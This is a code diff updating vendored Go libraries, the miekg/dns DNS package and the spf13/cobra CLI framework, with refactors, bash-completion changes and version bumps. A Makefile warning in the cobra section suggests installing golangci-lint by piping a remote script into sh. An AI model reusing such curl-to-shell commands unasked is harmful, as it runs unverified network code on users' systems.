return c.exchangeContext(ctx, m, conn)
|
||||
}
|
||||
|
||||
q := m.Question[0]
|
||||
key := fmt.Sprintf("%s:%d:%d", q.Name, q.Qtype, q.Qclass)
|
||||
r, rtt, err, shared := c.group.Do(key, func() (*Msg, time.Duration, error) {
|
||||
// When we're doing singleflight we don't want one context cancellation, cancel _all_ outstanding queries.
|
||||
// Hence we ignore the context and use Background().
|
||||
return c.exchangeContext(context.Background(), m, conn)
|
||||
})
|
||||
if r != nil && shared {
|
||||
r = r.Copy()
|
||||
}
|
||||
|
||||
return r, rtt, err
|
||||
}
|
||||
|
||||
func (c *Client) exchangeContext(ctx context.Context, m *Msg, co *Conn) (r *Msg, rtt time.Duration, err error) {
|
||||
func (c *Client) exchangeWithConnContext(ctx context.Context, m *Msg, co *Conn) (r *Msg, rtt time.Duration, err error) {
|
||||
opt := m.IsEdns0()
|
||||
// If EDNS0 is used use that for size.
|
||||
if opt != nil && opt.UDPSize() >= MinMsgSize {
|
||||
|
||||
+14
-8
@@ -208,7 +208,7 @@ func IsDomainName(s string) (labels int, ok bool) {
|
||||
}
|
||||
|
||||
// check for \DDD
|
||||
if i+3 < len(s) && isDigit(s[i+1]) && isDigit(s[i+2]) && isDigit(s[i+3]) {
|
||||
if isDDD(s[i+1:]) {
|
||||
i += 3
|
||||
begin += 3
|
||||
} else {
|
||||
@@ -272,18 +272,24 @@ func IsMsg(buf []byte) error {
|
||||
|
||||
// IsFqdn checks if a domain name is fully qualified.
|
||||
func IsFqdn(s string) bool {
|
||||
s2 := strings.TrimSuffix(s, ".")
|
||||
if s == s2 {
|
||||
// Check for (and remove) a trailing dot, returning if there isn't one.
|
||||
if s == "" || s[len(s)-1] != '.' {
|
||||
return false
|
||||
}
|
||||
s = s[:len(s)-1]
|
||||
|
||||
i := strings.LastIndexFunc(s2, func(r rune) bool {
|
||||
// If we don't have an escape sequence before the final dot, we know it's
|
||||
// fully qualified and can return here.
|
||||
if s == "" || s[len(s)-1] != '\\' {
|
||||
return true
|
||||
}
|
||||
|
||||
// Otherwise we have to check if the dot is escaped or not by checking if
|
||||
// there are an odd or even number of escape sequences before the dot.
|
||||
i := strings.LastIndexFunc(s, func(r rune) bool {
|
||||
return r != '\\'
|
||||
})
|
||||
|
||||
// Test whether we have an even number of escape sequences before
|
||||
// the dot or none.
|
||||
return (len(s2)-i)%2 != 0
|
||||
return (len(s)-i)%2 != 0
|
||||
}
|
||||
|
||||
// IsRRset checks if a set of RRs is a valid RRset as defined by RFC 2181.
|
||||
|
||||
+5
-9
@@ -128,10 +128,6 @@ type dnskeyWireFmt struct {
|
||||
/* Nothing is left out */
|
||||
}
|
||||
|
||||
func divRoundUp(a, b int) int {
|
||||
return (a + b - 1) / b
|
||||
}
|
||||
|
||||
// KeyTag calculates the keytag (or key-id) of the DNSKEY.
|
||||
func (k *DNSKEY) KeyTag() uint16 {
|
||||
if k == nil {
|
||||
@@ -417,11 +413,11 @@ func (rr *RRSIG) Verify(k *DNSKEY, rrset []RR) error {
|
||||
return err
|
||||
}
|
||||
|
||||
sigbuf := rr.sigBuf() // Get the binary signature data
|
||||
if rr.Algorithm == PRIVATEDNS { // PRIVATEOID
|
||||
// TODO(miek)
|
||||
// remove the domain name and assume its ours?
|
||||
}
|
||||
sigbuf := rr.sigBuf() // Get the binary signature data
|
||||
// TODO(miek)
|
||||
// remove the domain name and assume its ours?
|
||||
// if rr.Algorithm == PRIVATEDNS { // PRIVATEOID
|
||||
// }
|
||||
|
||||
h, cryptohash, err := hashFromAlgorithm(rr.Algorithm)
|
||||
if err != nil {
|
||||
|
||||
+14
-15
@@ -252,7 +252,7 @@ loop:
|
||||
}
|
||||
|
||||
// check for \DDD
|
||||
if i+3 < ls && isDigit(bs[i+1]) && isDigit(bs[i+2]) && isDigit(bs[i+3]) {
|
||||
if isDDD(bs[i+1:]) {
|
||||
bs[i] = dddToByte(bs[i+1:])
|
||||
copy(bs[i+1:ls-3], bs[i+4:])
|
||||
ls -= 3
|
||||
@@ -482,8 +482,8 @@ func packTxtString(s string, msg []byte, offset int) (int, error) {
|
||||
break
|
||||
}
|
||||
// check for \DDD
|
||||
if i+2 < len(s) && isDigit(s[i]) && isDigit(s[i+1]) && isDigit(s[i+2]) {
|
||||
msg[offset] = dddStringToByte(s[i:])
|
||||
if isDDD(s[i:]) {
|
||||
msg[offset] = dddToByte(s[i:])
|
||||
i += 2
|
||||
} else {
|
||||
msg[offset] = s[i]
|
||||
@@ -517,7 +517,7 @@ func packOctetString(s string, msg []byte, offset int, tmp []byte) (int, error)
|
||||
break
|
||||
}
|
||||
// check for \DDD
|
||||
if i+2 < len(bs) && isDigit(bs[i]) && isDigit(bs[i+1]) && isDigit(bs[i+2]) {
|
||||
if isDDD(bs[i:]) {
|
||||
msg[offset] = dddToByte(bs[i:])
|
||||
i += 2
|
||||
} else {
|
||||
@@ -546,12 +546,11 @@ func unpackTxt(msg []byte, off0 int) (ss []string, off int, err error) {
|
||||
// Helpers for dealing with escaped bytes
|
||||
func isDigit(b byte) bool { return b >= '0' && b <= '9' }
|
||||
|
||||
func dddToByte(s []byte) byte {
|
||||
_ = s[2] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return byte((s[0]-'0')*100 + (s[1]-'0')*10 + (s[2] - '0'))
|
||||
func isDDD[T ~[]byte | ~string](s T) bool {
|
||||
return len(s) >= 3 && isDigit(s[0]) && isDigit(s[1]) && isDigit(s[2])
|
||||
}
|
||||
|
||||
func dddStringToByte(s string) byte {
|
||||
func dddToByte[T ~[]byte | ~string](s T) byte {
|
||||
_ = s[2] // bounds check hint to compiler; see golang.org/issue/14808
|
||||
return byte((s[0]-'0')*100 + (s[1]-'0')*10 + (s[2] - '0'))
|
||||
}
|
||||
@@ -861,7 +860,7 @@ func (dns *Msg) unpack(dh Header, msg []byte, off int) (err error) {
|
||||
// The header counts might have been wrong so we need to update it
|
||||
dh.Nscount = uint16(len(dns.Ns))
|
||||
if err == nil {
|
||||
dns.Extra, off, err = unpackRRslice(int(dh.Arcount), msg, off)
|
||||
dns.Extra, _, err = unpackRRslice(int(dh.Arcount), msg, off)
|
||||
}
|
||||
// The header counts might have been wrong so we need to update it
|
||||
dh.Arcount = uint16(len(dns.Extra))
|
||||
@@ -871,11 +870,11 @@ func (dns *Msg) unpack(dh Header, msg []byte, off int) (err error) {
|
||||
dns.Rcode |= opt.ExtendedRcode()
|
||||
}
|
||||
|
||||
if off != len(msg) {
|
||||
// TODO(miek) make this an error?
|
||||
// use PackOpt to let people tell how detailed the error reporting should be?
|
||||
// println("dns: extra bytes in dns packet", off, "<", len(msg))
|
||||
}
|
||||
// TODO(miek) make this an error?
|
||||
// use PackOpt to let people tell how detailed the error reporting should be?
|
||||
// if off != len(msg) {
|
||||
// // println("dns: extra bytes in dns packet", off, "<", len(msg))
|
||||
// }
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -1019,7 +1018,7 @@ func escapedNameLen(s string) int {
|
||||
continue
|
||||
}
|
||||
|
||||
if i+3 < len(s) && isDigit(s[i+1]) && isDigit(s[i+2]) && isDigit(s[i+3]) {
|
||||
if isDDD(s[i+1:]) {
|
||||
nameLen -= 3
|
||||
i += 3
|
||||
} else {
|
||||
|
||||
+9
-11
@@ -10,13 +10,13 @@ import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxTok = 2048 // Largest token we can return.
|
||||
const maxTok = 512 // Token buffer start size, and growth size amount.
|
||||
|
||||
// The maximum depth of $INCLUDE directives supported by the
|
||||
// ZoneParser API.
|
||||
const maxIncludeDepth = 7
|
||||
|
||||
// Tokinize a RFC 1035 zone file. The tokenizer will normalize it:
|
||||
// Tokenize a RFC 1035 zone file. The tokenizer will normalize it:
|
||||
// * Add ownernames if they are left blank;
|
||||
// * Suppress sequences of spaces;
|
||||
// * Make each RR fit on one line (_NEWLINE is send as last)
|
||||
@@ -765,8 +765,8 @@ func (zl *zlexer) Next() (lex, bool) {
|
||||
}
|
||||
|
||||
var (
|
||||
str [maxTok]byte // Hold string text
|
||||
com [maxTok]byte // Hold comment text
|
||||
str = make([]byte, maxTok) // Hold string text
|
||||
com = make([]byte, maxTok) // Hold comment text
|
||||
|
||||
stri int // Offset in str (0 means empty)
|
||||
comi int // Offset in com (0 means empty)
|
||||
@@ -785,14 +785,12 @@ func (zl *zlexer) Next() (lex, bool) {
|
||||
l.line, l.column = zl.line, zl.column
|
||||
|
||||
if stri >= len(str) {
|
||||
l.token = "token length insufficient for parsing"
|
||||
l.err = true
|
||||
return *l, true
|
||||
// if buffer length is insufficient, increase it.
|
||||
str = append(str[:], make([]byte, maxTok)...)
|
||||
}
|
||||
if comi >= len(com) {
|
||||
l.token = "comment length insufficient for parsing"
|
||||
l.err = true
|
||||
return *l, true
|
||||
// if buffer length is insufficient, increase it.
|
||||
com = append(com[:], make([]byte, maxTok)...)
|
||||
}
|
||||
|
||||
switch x {
|
||||
@@ -816,7 +814,7 @@ func (zl *zlexer) Next() (lex, bool) {
|
||||
if stri == 0 {
|
||||
// Space directly in the beginning, handled in the grammar
|
||||
} else if zl.owner {
|
||||
// If we have a string and its the first, make it an owner
|
||||
// If we have a string and it's the first, make it an owner
|
||||
l.value = zOwner
|
||||
l.token = string(str[:stri])
|
||||
|
||||
|
||||
+10
-3
@@ -904,11 +904,18 @@ func (rr *RRSIG) parse(c *zlexer, o string) *ParseError {
|
||||
|
||||
c.Next() // zBlank
|
||||
l, _ = c.Next()
|
||||
i, e := strconv.ParseUint(l.token, 10, 8)
|
||||
if e != nil || l.err {
|
||||
if l.err {
|
||||
return &ParseError{"", "bad RRSIG Algorithm", l}
|
||||
}
|
||||
rr.Algorithm = uint8(i)
|
||||
i, e := strconv.ParseUint(l.token, 10, 8)
|
||||
rr.Algorithm = uint8(i) // if 0 we'll check the mnemonic in the if
|
||||
if e != nil {
|
||||
v, ok := StringToAlgorithm[l.token]
|
||||
if !ok {
|
||||
return &ParseError{"", "bad RRSIG Algorithm", l}
|
||||
}
|
||||
rr.Algorithm = v
|
||||
}
|
||||
|
||||
c.Next() // zBlank
|
||||
l, _ = c.Next()
|
||||
|
||||
-61
@@ -1,61 +0,0 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Adapted for dns package usage by Miek Gieben.
|
||||
|
||||
package dns
|
||||
|
||||
import "sync"
|
||||
import "time"
|
||||
|
||||
// call is an in-flight or completed singleflight.Do call
|
||||
type call struct {
|
||||
wg sync.WaitGroup
|
||||
val *Msg
|
||||
rtt time.Duration
|
||||
err error
|
||||
dups int
|
||||
}
|
||||
|
||||
// singleflight represents a class of work and forms a namespace in
|
||||
// which units of work can be executed with duplicate suppression.
|
||||
type singleflight struct {
|
||||
sync.Mutex // protects m
|
||||
m map[string]*call // lazily initialized
|
||||
|
||||
dontDeleteForTesting bool // this is only to be used by TestConcurrentExchanges
|
||||
}
|
||||
|
||||
// Do executes and returns the results of the given function, making
|
||||
// sure that only one execution is in-flight for a given key at a
|
||||
// time. If a duplicate comes in, the duplicate caller waits for the
|
||||
// original to complete and receives the same results.
|
||||
// The return value shared indicates whether v was given to multiple callers.
|
||||
func (g *singleflight) Do(key string, fn func() (*Msg, time.Duration, error)) (v *Msg, rtt time.Duration, err error, shared bool) {
|
||||
g.Lock()
|
||||
if g.m == nil {
|
||||
g.m = make(map[string]*call)
|
||||
}
|
||||
if c, ok := g.m[key]; ok {
|
||||
c.dups++
|
||||
g.Unlock()
|
||||
c.wg.Wait()
|
||||
return c.val, c.rtt, c.err, true
|
||||
}
|
||||
c := new(call)
|
||||
c.wg.Add(1)
|
||||
g.m[key] = c
|
||||
g.Unlock()
|
||||
|
||||
c.val, c.rtt, c.err = fn()
|
||||
c.wg.Done()
|
||||
|
||||
if !g.dontDeleteForTesting {
|
||||
g.Lock()
|
||||
delete(g.m, key)
|
||||
g.Unlock()
|
||||
}
|
||||
|
||||
return c.val, c.rtt, c.err, c.dups > 0
|
||||
}
|
||||
+10
-8
@@ -198,7 +198,7 @@ const (
|
||||
_CD = 1 << 4 // checking disabled
|
||||
)
|
||||
|
||||
// Various constants used in the LOC RR. See RFC 1887.
|
||||
// Various constants used in the LOC RR. See RFC 1876.
|
||||
const (
|
||||
LOC_EQUATOR = 1 << 31 // RFC 1876, Section 2.
|
||||
LOC_PRIMEMERIDIAN = 1 << 31 // RFC 1876, Section 2.
|
||||
@@ -631,8 +631,8 @@ func nextByte(s string, offset int) (byte, int) {
|
||||
return 0, 0
|
||||
case 2, 3: // too short to be \ddd
|
||||
default: // maybe \ddd
|
||||
if isDigit(s[offset+1]) && isDigit(s[offset+2]) && isDigit(s[offset+3]) {
|
||||
return dddStringToByte(s[offset+1:]), 4
|
||||
if isDDD(s[offset+1:]) {
|
||||
return dddToByte(s[offset+1:]), 4
|
||||
}
|
||||
}
|
||||
// not \ddd, just an RFC 1035 "quoted" character
|
||||
@@ -792,7 +792,10 @@ type LOC struct {
|
||||
|
||||
// cmToM takes a cm value expressed in RFC 1876 SIZE mantissa/exponent
|
||||
// format and returns a string in m (two decimals for the cm).
|
||||
func cmToM(m, e uint8) string {
|
||||
func cmToM(x uint8) string {
|
||||
m := x & 0xf0 >> 4
|
||||
e := x & 0x0f
|
||||
|
||||
if e < 2 {
|
||||
if e == 1 {
|
||||
m *= 10
|
||||
@@ -848,10 +851,9 @@ func (rr *LOC) String() string {
|
||||
s += fmt.Sprintf("%.0fm ", alt)
|
||||
}
|
||||
|
||||
s += cmToM(rr.Size&0xf0>>4, rr.Size&0x0f) + "m "
|
||||
s += cmToM(rr.HorizPre&0xf0>>4, rr.HorizPre&0x0f) + "m "
|
||||
s += cmToM(rr.VertPre&0xf0>>4, rr.VertPre&0x0f) + "m"
|
||||
|
||||
s += cmToM(rr.Size) + "m "
|
||||
s += cmToM(rr.HorizPre) + "m "
|
||||
s += cmToM(rr.VertPre) + "m"
|
||||
return s
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package dns
|
||||
import "fmt"
|
||||
|
||||
// Version is current version of this library.
|
||||
var Version = v{1, 1, 52}
|
||||
var Version = v{1, 1, 54}
|
||||
|
||||
// v holds the version of this library.
|
||||
type v struct {
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
# Copyright 2013-2022 The Cobra Authors
|
||||
# Copyright 2013-2023 The Cobra Authors
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
|
||||
+4
-4
@@ -5,10 +5,6 @@ ifeq (, $(shell which golangci-lint))
|
||||
$(warning "could not find golangci-lint in $(PATH), run: curl -sfL https://install.goreleaser.com/github.com/golangci/golangci-lint.sh | sh")
|
||||
endif
|
||||
|
||||
ifeq (, $(shell which richgo))
|
||||
$(warning "could not find richgo in $(PATH), run: go install github.com/kyoh86/richgo@latest")
|
||||
endif
|
||||
|
||||
.PHONY: fmt lint test install_deps clean
|
||||
|
||||
default: all
|
||||
@@ -25,6 +21,10 @@ lint:
|
||||
|
||||
test: install_deps
|
||||
$(info ******************** running tests ********************)
|
||||
go test -v ./...
|
||||
|
||||
richtest: install_deps
|
||||
$(info ******************** running tests with kyoh86/richgo ********************)
|
||||
richgo test -v ./...
|
||||
|
||||
install_deps:
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
|
||||
Cobra is a library for creating powerful modern CLI applications.
|
||||
|
||||
@@ -6,7 +6,7 @@ Cobra is used in many Go projects such as [Kubernetes](https://kubernetes.io/),
|
||||
[Hugo](https://gohugo.io), and [GitHub CLI](https://github.com/cli/cli) to
|
||||
name a few. [This list](./projects_using_cobra.md) contains a more extensive list of projects using Cobra.
|
||||
|
||||
[](https://github.com/spf13/cobra/actions?query=workflow%3ATest)
|
||||
[](https://github.com/spf13/cobra/actions?query=workflow%3ATest)
|
||||
[](https://pkg.go.dev/github.com/spf13/cobra)
|
||||
[](https://goreportcard.com/report/github.com/spf13/cobra)
|
||||
[](https://gophers.slack.com/archives/CD3LP1199)
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -21,7 +21,7 @@ import (
|
||||
|
||||
type PositionalArgs func(cmd *Command, args []string) error
|
||||
|
||||
// Legacy arg validation has the following behaviour:
|
||||
// legacyArgs validation has the following behaviour:
|
||||
// - root commands with no subcommands can take arbitrary arguments
|
||||
// - root commands with subcommands will do subcommand validity checking
|
||||
// - subcommands will always accept arbitrary arguments
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -532,7 +532,7 @@ func writeLocalNonPersistentFlag(buf io.StringWriter, flag *pflag.Flag) {
|
||||
}
|
||||
}
|
||||
|
||||
// Setup annotations for go completions for registered flags
|
||||
// prepareCustomAnnotationsForFlags setup annotations for go completions for registered flags
|
||||
func prepareCustomAnnotationsForFlags(cmd *Command) {
|
||||
flagCompletionMutex.RLock()
|
||||
defer flagCompletionMutex.RUnlock()
|
||||
|
||||
+42
-29
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -38,7 +38,7 @@ func genBashComp(buf io.StringWriter, name string, includeDesc bool) {
|
||||
|
||||
__%[1]s_debug()
|
||||
{
|
||||
if [[ -n ${BASH_COMP_DEBUG_FILE:-} ]]; then
|
||||
if [[ -n ${BASH_COMP_DEBUG_FILE-} ]]; then
|
||||
echo "$*" >> "${BASH_COMP_DEBUG_FILE}"
|
||||
fi
|
||||
}
|
||||
@@ -65,7 +65,7 @@ __%[1]s_get_completion_results() {
|
||||
lastChar=${lastParam:$((${#lastParam}-1)):1}
|
||||
__%[1]s_debug "lastParam ${lastParam}, lastChar ${lastChar}"
|
||||
|
||||
if [ -z "${cur}" ] && [ "${lastChar}" != "=" ]; then
|
||||
if [[ -z ${cur} && ${lastChar} != = ]]; then
|
||||
# If the last parameter is complete (there is a space following it)
|
||||
# We add an extra empty parameter so we can indicate this to the go method.
|
||||
__%[1]s_debug "Adding extra empty parameter"
|
||||
@@ -75,7 +75,7 @@ __%[1]s_get_completion_results() {
|
||||
# When completing a flag with an = (e.g., %[1]s -n=<TAB>)
|
||||
# bash focuses on the part after the =, so we need to remove
|
||||
# the flag part from $cur
|
||||
if [[ "${cur}" == -*=* ]]; then
|
||||
if [[ ${cur} == -*=* ]]; then
|
||||
cur="${cur#*=}"
|
||||
fi
|
||||
|
||||
@@ -87,7 +87,7 @@ __%[1]s_get_completion_results() {
|
||||
directive=${out##*:}
|
||||
# Remove the directive
|
||||
out=${out%%:*}
|
||||
if [ "${directive}" = "${out}" ]; then
|
||||
if [[ ${directive} == "${out}" ]]; then
|
||||
# There is not directive specified
|
||||
directive=0
|
||||
fi
|
||||
@@ -101,22 +101,36 @@ __%[1]s_process_completion_results() {
|
||||
local shellCompDirectiveNoFileComp=%[5]d
|
||||
local shellCompDirectiveFilterFileExt=%[6]d
|
||||
local shellCompDirectiveFilterDirs=%[7]d
|
||||
local shellCompDirectiveKeepOrder=%[8]d
|
||||
|
||||
if [ $((directive & shellCompDirectiveError)) -ne 0 ]; then
|
||||
if (((directive & shellCompDirectiveError) != 0)); then
|
||||
# Error code. No completion.
|
||||
__%[1]s_debug "Received error from custom completion go code"
|
||||
return
|
||||
else
|
||||
if [ $((directive & shellCompDirectiveNoSpace)) -ne 0 ]; then
|
||||
if [[ $(type -t compopt) = "builtin" ]]; then
|
||||
if (((directive & shellCompDirectiveNoSpace) != 0)); then
|
||||
if [[ $(type -t compopt) == builtin ]]; then
|
||||
__%[1]s_debug "Activating no space"
|
||||
compopt -o nospace
|
||||
else
|
||||
__%[1]s_debug "No space directive not supported in this version of bash"
|
||||
fi
|
||||
fi
|
||||
if [ $((directive & shellCompDirectiveNoFileComp)) -ne 0 ]; then
|
||||
if [[ $(type -t compopt) = "builtin" ]]; then
|
||||
if (((directive & shellCompDirectiveKeepOrder) != 0)); then
|
||||
if [[ $(type -t compopt) == builtin ]]; then
|
||||
# no sort isn't supported for bash less than < 4.4
|
||||
if [[ ${BASH_VERSINFO[0]} -lt 4 || ( ${BASH_VERSINFO[0]} -eq 4 && ${BASH_VERSINFO[1]} -lt 4 ) ]]; then
|
||||
__%[1]s_debug "No sort directive not supported in this version of bash"
|
||||
else
|
||||
__%[1]s_debug "Activating keep order"
|
||||
compopt -o nosort
|
||||
fi
|
||||
else
|
||||
__%[1]s_debug "No sort directive not supported in this version of bash"
|
||||
fi
|
||||
fi
|
||||
if (((directive & shellCompDirectiveNoFileComp) != 0)); then
|
||||
if [[ $(type -t compopt) == builtin ]]; then
|
||||
__%[1]s_debug "Activating no file completion"
|
||||
compopt +o default
|
||||
else
|
||||
@@ -130,7 +144,7 @@ __%[1]s_process_completion_results() {
|
||||
local activeHelp=()
|
||||
__%[1]s_extract_activeHelp
|
||||
|
||||
if [ $((directive & shellCompDirectiveFilterFileExt)) -ne 0 ]; then
|
||||
if (((directive & shellCompDirectiveFilterFileExt) != 0)); then
|
||||
# File extension filtering
|
||||
local fullFilter filter filteringCmd
|
||||
|
||||
@@ -143,13 +157,12 @@ __%[1]s_process_completion_results() {
|
||||
filteringCmd="_filedir $fullFilter"
|
||||
__%[1]s_debug "File filtering command: $filteringCmd"
|
||||
$filteringCmd
|
||||
elif [ $((directive & shellCompDirectiveFilterDirs)) -ne 0 ]; then
|
||||
elif (((directive & shellCompDirectiveFilterDirs) != 0)); then
|
||||
# File completion for directories only
|
||||
|
||||
# Use printf to strip any trailing newline
|
||||
local subdir
|
||||
subdir=$(printf "%%s" "${completions[0]}")
|
||||
if [ -n "$subdir" ]; then
|
||||
subdir=${completions[0]}
|
||||
if [[ -n $subdir ]]; then
|
||||
__%[1]s_debug "Listing directories in $subdir"
|
||||
pushd "$subdir" >/dev/null 2>&1 && _filedir -d && popd >/dev/null 2>&1 || return
|
||||
else
|
||||
@@ -164,7 +177,7 @@ __%[1]s_process_completion_results() {
|
||||
__%[1]s_handle_special_char "$cur" =
|
||||
|
||||
# Print the activeHelp statements before we finish
|
||||
if [ ${#activeHelp[*]} -ne 0 ]; then
|
||||
if ((${#activeHelp[*]} != 0)); then
|
||||
printf "\n";
|
||||
printf "%%s\n" "${activeHelp[@]}"
|
||||
printf "\n"
|
||||
@@ -184,21 +197,21 @@ __%[1]s_process_completion_results() {
|
||||
# Separate activeHelp lines from real completions.
|
||||
# Fills the $activeHelp and $completions arrays.
|
||||
__%[1]s_extract_activeHelp() {
|
||||
local activeHelpMarker="%[8]s"
|
||||
local activeHelpMarker="%[9]s"
|
||||
local endIndex=${#activeHelpMarker}
|
||||
|
||||
while IFS='' read -r comp; do
|
||||
if [ "${comp:0:endIndex}" = "$activeHelpMarker" ]; then
|
||||
if [[ ${comp:0:endIndex} == $activeHelpMarker ]]; then
|
||||
comp=${comp:endIndex}
|
||||
__%[1]s_debug "ActiveHelp found: $comp"
|
||||
if [ -n "$comp" ]; then
|
||||
if [[ -n $comp ]]; then
|
||||
activeHelp+=("$comp")
|
||||
fi
|
||||
else
|
||||
# Not an activeHelp line but a normal completion
|
||||
completions+=("$comp")
|
||||
fi
|
||||
done < <(printf "%%s\n" "${out}")
|
||||
done <<<"${out}"
|
||||
}
|
||||
|
||||
__%[1]s_handle_completion_types() {
|
||||
@@ -254,7 +267,7 @@ __%[1]s_handle_standard_completion_case() {
|
||||
done < <(printf "%%s\n" "${completions[@]}")
|
||||
|
||||
# If there is a single completion left, remove the description text
|
||||
if [ ${#COMPREPLY[*]} -eq 1 ]; then
|
||||
if ((${#COMPREPLY[*]} == 1)); then
|
||||
__%[1]s_debug "COMPREPLY[0]: ${COMPREPLY[0]}"
|
||||
comp="${COMPREPLY[0]%%%%$tab*}"
|
||||
__%[1]s_debug "Removed description from single completion, which is now: ${comp}"
|
||||
@@ -271,8 +284,8 @@ __%[1]s_handle_special_char()
|
||||
if [[ "$comp" == *${char}* && "$COMP_WORDBREAKS" == *${char}* ]]; then
|
||||
local word=${comp%%"${comp##*${char}}"}
|
||||
local idx=${#COMPREPLY[*]}
|
||||
while [[ $((--idx)) -ge 0 ]]; do
|
||||
COMPREPLY[$idx]=${COMPREPLY[$idx]#"$word"}
|
||||
while ((--idx >= 0)); do
|
||||
COMPREPLY[idx]=${COMPREPLY[idx]#"$word"}
|
||||
done
|
||||
fi
|
||||
}
|
||||
@@ -298,7 +311,7 @@ __%[1]s_format_comp_descriptions()
|
||||
|
||||
# Make sure we can fit a description of at least 8 characters
|
||||
# if we are to align the descriptions.
|
||||
if [[ $maxdesclength -gt 8 ]]; then
|
||||
if ((maxdesclength > 8)); then
|
||||
# Add the proper number of spaces to align the descriptions
|
||||
for ((i = ${#comp} ; i < longest ; i++)); do
|
||||
comp+=" "
|
||||
@@ -310,8 +323,8 @@ __%[1]s_format_comp_descriptions()
|
||||
|
||||
# If there is enough space for any description text,
|
||||
# truncate the descriptions that are too long for the shell width
|
||||
if [ $maxdesclength -gt 0 ]; then
|
||||
if [ ${#desc} -gt $maxdesclength ]; then
|
||||
if ((maxdesclength > 0)); then
|
||||
if ((${#desc} > maxdesclength)); then
|
||||
desc=${desc:0:$(( maxdesclength - 1 ))}
|
||||
desc+="…"
|
||||
fi
|
||||
@@ -332,9 +345,9 @@ __start_%[1]s()
|
||||
# Call _init_completion from the bash-completion package
|
||||
# to prepare the arguments properly
|
||||
if declare -F _init_completion >/dev/null 2>&1; then
|
||||
_init_completion -n "=:" || return
|
||||
_init_completion -n =: || return
|
||||
else
|
||||
__%[1]s_init_completion -n "=:" || return
|
||||
__%[1]s_init_completion -n =: || return
|
||||
fi
|
||||
|
||||
__%[1]s_debug
|
||||
@@ -361,7 +374,7 @@ fi
|
||||
# ex: ts=4 sw=4 et filetype=sh
|
||||
`, name, compCmd,
|
||||
ShellCompDirectiveError, ShellCompDirectiveNoSpace, ShellCompDirectiveNoFileComp,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs,
|
||||
ShellCompDirectiveFilterFileExt, ShellCompDirectiveFilterDirs, ShellCompDirectiveKeepOrder,
|
||||
activeHelpMarker))
|
||||
}
|
||||
|
||||
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -167,8 +167,8 @@ func appendIfNotPresent(s, stringToAppend string) string {
|
||||
|
||||
// rpad adds padding to the right of a string.
|
||||
func rpad(s string, padding int) string {
|
||||
template := fmt.Sprintf("%%-%ds", padding)
|
||||
return fmt.Sprintf(template, s)
|
||||
formattedString := fmt.Sprintf("%%-%ds", padding)
|
||||
return fmt.Sprintf(formattedString, s)
|
||||
}
|
||||
|
||||
// tmpl executes the given template text on data, writing the result to w.
|
||||
|
||||
+39
-15
@@ -1,4 +1,4 @@
|
||||
// Copyright 2013-2022 The Cobra Authors
|
||||
// Copyright 2013-2023 The Cobra Authors
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
@@ -35,7 +35,7 @@ const FlagSetByCobraAnnotation = "cobra_annotation_flag_set_by_cobra"
|
||||
// FParseErrWhitelist configures Flag parse errors to be ignored
|
||||
type FParseErrWhitelist flag.ParseErrorsWhitelist
|
||||
|
||||
// Structure to manage groups for commands
|
||||
// Group Structure to manage groups for commands
|
||||
type Group struct {
|
||||
ID string
|
||||
Title string
|
||||
@@ -47,7 +47,7 @@ type Group struct {
|
||||
// definition to ensure usability.
|
||||
type Command struct {
|
||||
// Use is the one-line usage message.
|
||||
// Recommended syntax is as follow:
|
||||
// Recommended syntax is as follows:
|
||||
// [ ] identifies an optional argument. Arguments that are not enclosed in brackets are required.
|
||||
// ... indicates that you can specify multiple values for the previous argument.
|
||||
// | indicates mutually exclusive information. You can use the argument to the left of the separator or the
|
||||
@@ -321,7 +321,7 @@ func (c *Command) SetHelpCommand(cmd *Command) {
|
||||
c.helpCommand = cmd
|
||||
}
|
||||
|
||||
// SetHelpCommandGroup sets the group id of the help command.
|
||||
// SetHelpCommandGroupID sets the group id of the help command.
|
||||
func (c *Command) SetHelpCommandGroupID(groupID string) {
|
||||
if c.helpCommand != nil {
|
||||
c.helpCommand.GroupID = groupID
|
||||
@@ -330,7 +330,7 @@ func (c *Command) SetHelpCommandGroupID(groupID string) {
|
||||
c.helpCommandGroupID = groupID
|
||||
}
|
||||
|
||||
// SetCompletionCommandGroup sets the group id of the completion command.
|
||||
// SetCompletionCommandGroupID sets the group id of the completion command.
|
||||
func (c *Command) SetCompletionCommandGroupID(groupID string) {
|
||||
